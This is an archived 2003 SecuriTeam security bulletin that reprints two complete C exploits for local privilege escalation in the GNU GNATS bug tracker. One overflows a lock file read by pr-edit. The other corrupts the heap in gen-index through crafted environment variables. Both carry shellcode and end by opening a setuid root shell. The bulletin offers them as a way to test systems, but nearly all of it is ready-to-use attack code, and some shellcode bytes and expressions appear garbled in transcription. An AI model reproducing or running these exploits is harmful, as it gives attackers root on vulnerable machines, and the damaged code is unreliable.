

[EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/23/03

To: list@securiteam.com

Date: 23 Jun 2003 10:28:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5CP0N0UAAA.htm>> GNATS (The GNU bug-tracking system) Multiple Buffer Overflow Vulnerabilities, a vulnerability in the GNATS allows local attackers to gain elevated privileges. The following exploit codes can be used to test your system for the mentioned vulnerabilities.

DETAILS

Exploit #1:

```
/*
```

```
**
```

```
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
```

```
**
```

```
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
```

```
**
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
** ___
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* ---= POINT! POINT! POINT! POINT! POINT! =---
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
```

```
#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)
```

```
void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gnats_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);
```

```
struct stat s_t;
char df_mk_dir[DF_SIZE]; /* gnats-admin dir path */
char df_mk_lk[DF_SIZE]; /* user.lock file path */
char df_mk_tmp[DF_SIZE]; /* gnats.lock file path */
char shellcode[DF_SIZE]={
 /* chown root: ;chmod 6755 ; */
 0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
 0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
 0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
 0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
 0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
 0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
 0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
 0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
 0xde,0xff,0xff,0xff
};
```

```
int make_sh(char *own_d_nm)
{
```

```

FILE *fp;
char d_src[DF_SIZE];
char st_exec[(DF_SIZE)*2];

memset((char *)d_src,0,sizeof(d_src));
snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
if((fp=fopen(d_src,"w"))==(NULL))
{
    return(-1);
}
fprintf(fp,"main()\n"
        "{\n"
        "setreuid(0,0);\n"
        "setregid(0,0);\n"
        "setuid(0);\n"
        "setgid(0);\n"
        "system(\"sh -p\");\n"
        "\n}\n");
fclose(fp);

memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
        "gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
system(st_exec);
unlink(d_src);

if(stat(own_d_nm,&s_t)==(0))
{
    return(0);
}
else return(-1);
}

void own_banrl()
{
    fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root
    exploit.\n");
    fprintf(stdout," by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
    fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
    fprintf(stdout,"\t -p [pr-edit path] : GNATS pr-edit path.\n",(T_G));
    fprintf(stdout,"\t -t [target num] : Select gcc version
    number.\n",(GCC_V_DEF));
    fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
    fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
    fprintf(stdout,"\t -b [target path] : setuid shell path.\n");
    fprintf(stdout,"\t -h : Help information.\n\n");
    fprintf(stdout," Example: %s -p%s -t%d
    -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
}

```

```

exit(0);
}

int __gnats_adm_mkdir()
{
    memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
    memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
    snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));

    snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
    mkdir(df_mk_dir,0x1ed);
    if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
    {
        return(0);
    }
    else return(-1);
}

void psh_addr(FILE *fp,u_long addr)
{
    u_char __bf[4];
    memset((u_char *)__bf,0,sizeof(__bf));
    {
        __bf[0]=(addr&0x000000ff)>>0;
        __bf[1]=(addr&0x0000ff00)>>8;
        __bf[2]=(addr&0x00ff0000)>>16;
        __bf[3]=(addr&0xff000000)>>24;
    }
    fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}

int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
    FILE *fp;
    int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
    int fst_junk_n=(DF_FIRST_JNK);
    int scn_junk_n=(DF_SECOND_JNK);

    memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
    snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));

    if(gv_type)
    {
        fst_junk_n+=8;
        scn_junk_n+=28;
    }
    if((fp=fopen(df_mk_lk,"w"))==(NULL))
    {
        return(-1);
    }
}

```

```

}
for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
{
    fprintf(fp,"F");
}
(void)psh_addr(fp,(u_long)stdout);
for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
{
    fprintf(fp,"S");
}
(void)psh_addr(fp,(u_long)own_sh);
fclose(fp);
}

int main(int argc,char **argv)
{
    int w_g_dot_f;
    pid_t fk_pid;
    u_long own_sh_addl;
    char *own_exec[2];
    int gcc_v_on=(GCC_V_DEF);
    char pth_own[(DF_SIZE)]=(T_G);
    char bck_own[(DF_SIZE)]=(DF_BK_SHL);

    (void)own_banrl();
    while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
    {
        extern char *optarg;
        switch(w_g_dot_f)
        {
            case 'P':
            case 'p':
                memset((char *)pth_own,0,sizeof(pth_own));
                strncpy(pth_own,optarg,sizeof(pth_own)-1);
                break;

            case 'T':
            case 't':
                if((gcc_v_on=(atoi(optarg)))>1)
                {
                    (void)own_usage(argv[0]);
                }
                break;

            case 'B':
            case 'b':
                memset((char *)bck_own,0,sizeof(bck_own));
                strncpy(bck_own,optarg,sizeof(bck_own)-1);
                break;

            case 'H':

```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
case 'h':
    (void)own_usage(argv[0]);
    break;

case '?':
    (void)own_usage(argv[0]);
    break;
}
}

fprintf(stdout, " [0] Start, exploit.\n");
if((stat((pth_own), &s_t) != (0)))
{
    fprintf(stderr, " [-] pr-edit path: %s not found.\n\n", (pth_own));
    exit(-1);
}
fprintf(stdout, " [+] exploit target: %s\n", (pth_own));
fprintf(stdout, " [1] Make setuid shell.\n");
if((int)make_sh(bck_own) == (-1))
{
    fprintf(stderr, " [-] exploit failed.\n\n");
    exit(-1);
}
fprintf(stdout, " [+] Setuid shell path: %s\n", (bck_own));
fprintf(stdout, " [2] Shellcode setting.\n");
{
    own_sh_addl = ((0xbfffffff) - (strlen(shellcode) + strlen(bck_own)));
    strncat(shellcode, bck_own, sizeof(shellcode) - strlen(shellcode) - 1);
    own_exec[0] = (shellcode);
    own_exec[1] = (NULL);
}
fprintf(stdout, " [+] Shellcode address: %p\n", own_sh_addl);
fprintf(stdout, " [3] Make `gnats-adm` directory.\n");
if((__gnats_adm_mkdir()) == (-1))
{
    fprintf(stderr, " [-] make directory failed.\n\n");
    exit(-1);
}
fprintf(stdout, " [4] Make user.lock file.\n");
if((__gants_adm_gnats_dot_lock_flow(own_sh_addl, gcc_v_on)) == (-1))
{
    fprintf(stderr, " [-] make lockfile failed.\n\n");
    exit(-1);
}
fprintf(stdout, " [+] Execute, Shellcode !!\n\n");
if((fk_pid = fork()) == (0))
{
    execl(pth_own, pth_own, "-l", (DF_LK_NM), "-d", (DF_MK_DIR), (DF_LK_NM), (NULL), own_exec);
}
wait(&fk_pid);
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
fprintf(stdout, "\n [5] Remove setting dir, files.\n");
unlink(df_mk_lk);
unlink(df_mk_tmp);
rmdir(df_mk_dir);

if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
{
    fprintf(stdout, " [+] exploit successfully.\n");
    fprintf(stdout, " [*] It's root shell !!\n\n");
    execl((bck_own),(bck_own),(NULL));
}
else
{
    fprintf(stderr, " [-] exploit failed.\n\n");
    exit(-1);
}
}

/* eoc */
```

Exploit #2:

```
/*
**
** GNATS v3.113.x (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** __
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* ---= POINT! POINT! POINT! POINT! POINT! =---
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
```

```
#define VERSION "v0.0.2"
#define ATK_TG "/usr/local/libexec/gnats/gen-index"
typedef struct
{
    int os_t_nm;
    char *os_t;
    u_long got_dtors;
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
u_long sh_code;
u_long fk_chunk_addr;
u_long fk_chunk_ptr;
int off_st;
} l_sux_tg;
/*
**
** Structure: --
** fake chunk pointer -> &(fake chunk address) -> fake chunk header
** state_entry *next; u_long fk_chunk_ptr; u_long fk_chunk_addr;
*/
/*
// Format for the states file.
typedef struct state_entry {
    // State name.
    char *key;
    // State type.
    char *type;
    // Documentation string.
    char *description;
    // pointer to next record
    struct state_entry *next; // <- here.
} States;
States *s,*s_start=NULL,*s_end=NULL;
FILE *fp;
int ntypes=2;
static char *types[2];
int nstates=5;
static char *states[5];
static char *descst[5];
char line[255];
char **array=(char **)alloca(3*4);
char *path=(char *)alloca(4095);
4436 + 16;
*/
l_sux_tg os_tg[]=
{
    {
        0,"Red Hat Linux release 6.1 (Cartman) "
        ": GNATS gen-index v3.113",
        0x08056fdc, /* fprintf GOT */
        0xbfffedee, /* shellcode */
        0x0805795c, /* fake chunk header */
        0x0805828c, /* &(fake chunk addr) ptr */
        -0x38
    },
    {
        1,"Red Hat Linux release 6.1 (Cartman) "
        ": GNATS gen-index v3.113.1",
        0x0805711c, /* fprintf GOT */
        0xbfffedee, /* shellcode */
    }
}
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
0x08057a9c, /* fake chunk header */
0x0805889c, /* &(amp;fake chunk addr) ptr */
-0x38
},
{
2, "Red Hat Linux release 6.2 (Zoot) "
": GNATS gen-index v3.113",
0x08056fdc, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x080577cc, /* fake chunk header */
0x080581fc, /* &(amp;fake chunk addr) ptr */
-0x38
},
{
3, "Red Hat Linux release 6.2 (Zoot) "
": GNATS gen-index v3.113.1",
0x0805711c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805790c, /* fake chunk header */
0x0805836c, /* &(amp;fake chunk addr) ptr */
-0x38
},
{
4, "Red Hat Linux release 7.0 (Guinness) "
": GNATS gen-index v3.113",
0x08056d1c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805750c, /* fake chunk header */
0x08058504, /* &(amp;fake chunk addr) ptr */
0x0
},
{
5, "Red Hat Linux release 7.0 (Guinness) "
": GNATS gen-index v3.113.1",
0x08056e3c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805762c, /* fake chunk header */
0x08057f4c, /* &(amp;fake chunk addr) ptr */
0x0
},
{
6, "Red Hat Linux release 7.3 (Valhalla) "
": GNATS gen-index v3.113",
0x08056794, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x08056f2c, /* fake chunk header */
0x08057fec, /* &(amp;fake chunk addr) ptr */
-0x20
},
{
7, "Red Hat Linux release 7.3 (Valhalla) "
```

```

": GNATS gen-index v3.113.1",
0x08055e88, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805662c, /* fake chunk header */
0x08056f2c, /* &(fake chunk addr) ptr */
-0x20
},
{
    8,(NULL),0x82828282,0x0,0x0,0x0,0
}
};

char shellcode[]= /* NOP + setreuid + setregid + 23byte shellcode */
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x31\xc0\xb0x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0); */
"\x31\xc0\xb0x47\x31\xdb\x31\xc9\xcd\x80" /* setregid(0,0); */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

void pre_usage(char *pre_f_nm);
int main(int argc,char *argv[])
{
    int g_g_bf=(0),km_jm,__verbs=(0);
    int tot_sh_sz=(sizeof(shellcode)+(100*4)+1);

    char env_sh[tot_sh_sz]; /* NOP + shellcode */
    char chunk_hd_garbage[6]={0x82,0x82,0x82,0x82};
    char fk_chunk_fst_hd[8]={0xf0,0xff,0xff,0xff};
    char fk_chunk_scd_hd[8]={0xfc,0xff,0xff,0xff};
    char p_rev_size[8]={0xfc,0xff,0xff,0xff};
    char __size_fd[8]={0xff,0xff,0xff,0xff};

#define DEF_C2PT_VAL (5000)
    u_char tot_atk_c2pt_bf[(DEF_C2PT_VAL)];
    u_char logr_chunk_hd_c2pt[0x32]= /* libc_free ptr_tg */
    {
#ifdef PR_CF
        0xf0,0xff,0xff,0xff, /* prev_size */
        0xfc,0xff,0xff,0xff, /* size_fd */
        0x0,0x0,0x0,0x0, /* fd ptr */
#else
        0x0,0x0,0x0,0x0, /* bk ptr */
        0xfc,0xff,0xff,0xff, /* prev_size */
        0xff,0xff,0xff,0xff, /* size_fd */
        0x0,0x0,0x0,0x0, /* fd ptr */
        0x0,0x0,0x0,0x0 /* bk ptr */
#endif
    };
    char arg_set_lst_one_byte[0x14]= /* argument setting */
    {

```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
0x41,0x41,0x41,0x41,0x42,0x42,0x42,0x42, /* offset:8 */
0x43,0x43,0x43,0x43,0x44,0x44,0x44,0x44, /* offset:8 */
0x11 /* fake chunk header information */
};
char fk_nstates_nm[8]={0xf0,0xff,0xff,0xff}; /* bypass nstates: -1 */
char nop_jump_nop_concept[6]={0x42,0x0c,0xeb,0x41};
    //{0x90,0x0e,0xeb,0x40};
#define DEF_ZR (0)
int os_atk_tp=(DEF_ZR);
int sys_off_st=(os_tg[os_atk_tp].off_st);
u_long got_dtors=(os_tg[os_atk_tp].got_dtors);
u_long sh_code=(os_tg[os_atk_tp].sh_code);
u_long fk_chunk_addr=(os_tg[os_atk_tp].fk_chunk_addr);
u_long fk_chunk_ptr=(os_tg[os_atk_tp].fk_chunk_ptr);
u_char *ctrl_ptr=(logr_chunk_hd_c2pt);

fprintf(stdout, "\n GNATS v3.113.x (The GNU bug-tracking system) local
root exploit.\n\n");
while((km_jm=getopt(argc,argv, "T:t:O:o:R:r:S:s:F:f:P:p:VvHh"))!=EOF)
{
    extern char *optarg;
    switch(km_jm)
    {
        case 'T':
        case 't':
            if((os_atk_tp=atoi(optarg))>(7))
            {
                (void)pre_usage(argv[0]);
            }
            else
            {
                sys_off_st=(os_tg[os_atk_tp].off_st);
                got_dtors=(os_tg[os_atk_tp].got_dtors);
                sh_code=(os_tg[os_atk_tp].sh_code);
                fk_chunk_addr=(os_tg[os_atk_tp].fk_chunk_addr);
                fk_chunk_ptr=(os_tg[os_atk_tp].fk_chunk_ptr);
            }
            break;

        case 'O':
        case 'o':
            sys_off_st=(atoi(optarg));
            break;

        case 'R':
        case 'r':
            got_dtors=(strtoul(optarg,0,0));
            break;

        case 'S':
        case 's':
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
    sh_code=(strtoul(optarg,0,0));
    break;

case 'F':
case 'f':
    fk_chunk_addr=(strtoul(optarg,0,0));
    break;

case 'P':
case 'p':
    fk_chunk_ptr=(strtoul(optarg,0,0));
    break;

case 'V':
case 'v':
    __verbs++;
    break;

case 'H':
case 'h':
    (void)pre_usage(argv[0]);
    break;

case '?':
    (void)pre_usage(argv[0]);
    break;
}
}

fprintf(stdout, "[=] Offset: %d\n",sys_off_st);
fprintf(stdout, "[=] fprintf GOT address: %p\n",got_dtors);
got_dtors--(0x0c);
fprintf(stdout, "[=] shellcode address: %p\n",sh_code);
fprintf(stdout, "[=] fake chunk address: %p\n",fk_chunk_addr);
fprintf(stdout, "[=] fake chunk address ptr: %p\n",fk_chunk_ptr);

#ifdef PR_CF
ctrl_ptr+=(strlen(fk_chunk_fst_hd)+strlen(fk_chunk_scd_hd));
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));
#endif
fprintf(stdout, "[0] Make fake chunk.\n");
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));

ctrl_ptr+=(strlen(p_rev_size)+strlen(__size_fd));
{
    *ctrl_ptr++=(got_dtors&0x000000ff)>>0;
    *ctrl_ptr++=(got_dtors&0x0000ff00)>>8;
    *ctrl_ptr++=(got_dtors&0x00ff0000)>>16;
    *ctrl_ptr++=(got_dtors&0xff000000)>>24;
}
```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```

*ctrl_ptr+=(sh_code&0x000000ff)>>0;
*ctrl_ptr+=(sh_code&0x0000ff00)>>8;
*ctrl_ptr+=(sh_code&0x00ff0000)>>16;
*ctrl_ptr+=(sh_code&0xff000000)>>24;
}
memset((char *)tot_atk_c2pt_bf,0,sizeof(tot_atk_c2pt_bf));
ctrl_ptr=(tot_atk_c2pt_bf);

for(g_g_bf=0;g_g_bf<(111);g_g_bf++,ctrl_ptr+=strlen(logr_chunk_hd_c2pt))
    memcpy((char
*)ctrl_ptr,logr_chunk_hd_c2pt,strlen(logr_chunk_hd_c2pt));
fprintf(stdout," [1] Set fake chunk address.\n");
for(g_g_bf=0;g_g_bf<(555*4)+(sys_off_st);g_g_bf+=sizeof(fk_chunk_addr))
{
    *ctrl_ptr+=(fk_chunk_addr&0x000000ff)>>0;
    *ctrl_ptr+=(fk_chunk_addr&0x0000ff00)>>8;
    *ctrl_ptr+=(fk_chunk_addr&0x00ff0000)>>16;
    *ctrl_ptr+=(fk_chunk_addr&0xff000000)>>24;
}
fprintf(stdout," [2] Make 16byte magic code.\n");
{
    memcpy((char *)ctrl_ptr,fk_nstates_nm,strlen(fk_nstates_nm));
    ctrl_ptr+=(strlen(fk_nstates_nm));
    memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
    ctrl_ptr+=(strlen(chunk_hd_garbage));
    memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
    ctrl_ptr+=(strlen(chunk_hd_garbage));

    *ctrl_ptr+=(fk_chunk_ptr&0x000000ff)>>0;
    *ctrl_ptr+=(fk_chunk_ptr&0x0000ff00)>>8;
    *ctrl_ptr+=(fk_chunk_ptr&0x00ff0000)>>16;
    *ctrl_ptr+=(fk_chunk_ptr&0xff000000)>>24;
}
if(__verbs)
{
    int t_nm_pls;
    int atk_lsz;
    atk_lsz=(strlen(arg_set_lst_one_byte));
    fprintf(stdout,"\n [*] Total argument len: %d\n",atk_lsz);
    for(t_nm_pls=(0);t_nm_pls<atk_lsz;t_nm_pls+=4)
    {
        fprintf(stdout," [0x%08x] ",*(long
*)&arg_set_lst_one_byte[t_nm_pls]);
        if((t_nm_pls!=(0))&&((t_nm_pls%16)==(0)))
            fprintf(stdout,"\n");
    }
    atk_lsz=(strlen(tot_atk_c2pt_bf));
    fprintf(stdout,"\n [*] Total atkcode len: %d\n",atk_lsz);
    for(t_nm_pls=(0);t_nm_pls<atk_lsz;t_nm_pls+=4)
    {
        fprintf(stdout," [0x%08x] ",*(long *)&tot_atk_c2pt_bf[t_nm_pls]);

```

```

    if((t_nm_pls!=(0))&&((t_nm_pls%16)==(0)))
        fprintf(stdout,"\n");
    }
    fprintf(stdout,"\n\n Sample structure:\n\n");
    fprintf(stdout," 0x41414141 0x42424242 0x43434343 0x44444444 //
offset:17 (^-c' argument)\n");
    fprintf(stdout," 0x00000011 0x00001181 0x82828282 0xffffffff
0xffffffff // fake chunk header (environment)\n");
    fprintf(stdout," [ first chunk ] [ second chunk ]\n");
    fprintf(stdout," 0xXXXXXXXX 0xYYYYYYYY 0xPPPPPPPP 0xPPPPPPPP
0xPPPPPPPP ... // (environment)\n");
    fprintf(stdout," [ GOTors ] [ shell ] [ &(fake chunk addr) ... ]\n");
    fprintf(stdout," 0xffffffff 0x82828282 0x82828282 0xFKFKFKFK //
(environment)\n");
    fprintf(stdout," [nstates ] [ offset:8 ] [ chunk ptr ]\n\n");
    }
    fprintf(stdout," [3] Make shellcode.\n");
    {
        memset((char *)env_sh,0,sizeof(env_sh));
        ctrl_ptr=(env_sh);

for(g_g_bf=0;g_g_bf<100;g_g_bf++,ctrl_ptr+=strlen(nop_jmp_nop_concept))
    memcpy((char
*)ctrl_ptr,nop_jmp_nop_concept,strlen(nop_jmp_nop_concept));
    strncat(env_sh,shellcode,sizeof(env_sh)-strlen(env_sh));
    }

    fprintf(stdout," [4] Set environment attack code.\n");
    /* environment setting */
    setenv("X82",env_sh,strlen(env_sh));
    setenv("GNATS_ROOT",tot_atk_c2pt_bf,strlen(tot_atk_c2pt_bf));

    fprintf(stdout," [5] Try exploit ... \n\n");
    execl((ATK_TG),(ATK_TG),"-c",(arg_set_lst_one_byte),0);
}

void pre_usage(char *pre_f_nm)
{
    int r_num=(0);
    fprintf(stdout," Usage: %s -option [argument]\n\n",pre_f_nm);
    fprintf(stdout,"\t-o [offset num] : offset number.\n");
    fprintf(stdout,"\t-r [retloc addr] : retloc GOT address.\n");
    fprintf(stdout,"\t-s [shell addr] : shellcode address.\n");
    fprintf(stdout,"\t-f [chunk addr] : fake chunk address.\n");
    fprintf(stdout,"\t-p [chunk ptr] : fake chunk address ptr.\n");
    fprintf(stdout,"\t-v : verbose mode.\n");
    fprintf(stdout,"\t-h : help information.\n");
    fprintf(stdout,"\t-t [target num] : select target number.\n\n");
    fprintf(stdout," Select target number:\n\n");
    while(1)
    {

```

Securiteam: [EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities

```
if((os_tg[r_num].os_t)==(NULL))
    break;
else
{
    fprintf(stdout,"\t{%d} :
%s\n",os_tg[r_num].os_t_nm,os_tg[r_num].os_t);
    r_num++;
}
}
fprintf(stdout,"\n Sample #1): %s -t0\n",pre_f_nm);
fprintf(stdout," Sample #2): %s -o0 -r0x82828282 -s0x8282bab0
-v\n\n",pre_f_nm);
exit(0);
}

/* eoc */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xploit@hackermail.com>>
dong-h0un U.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.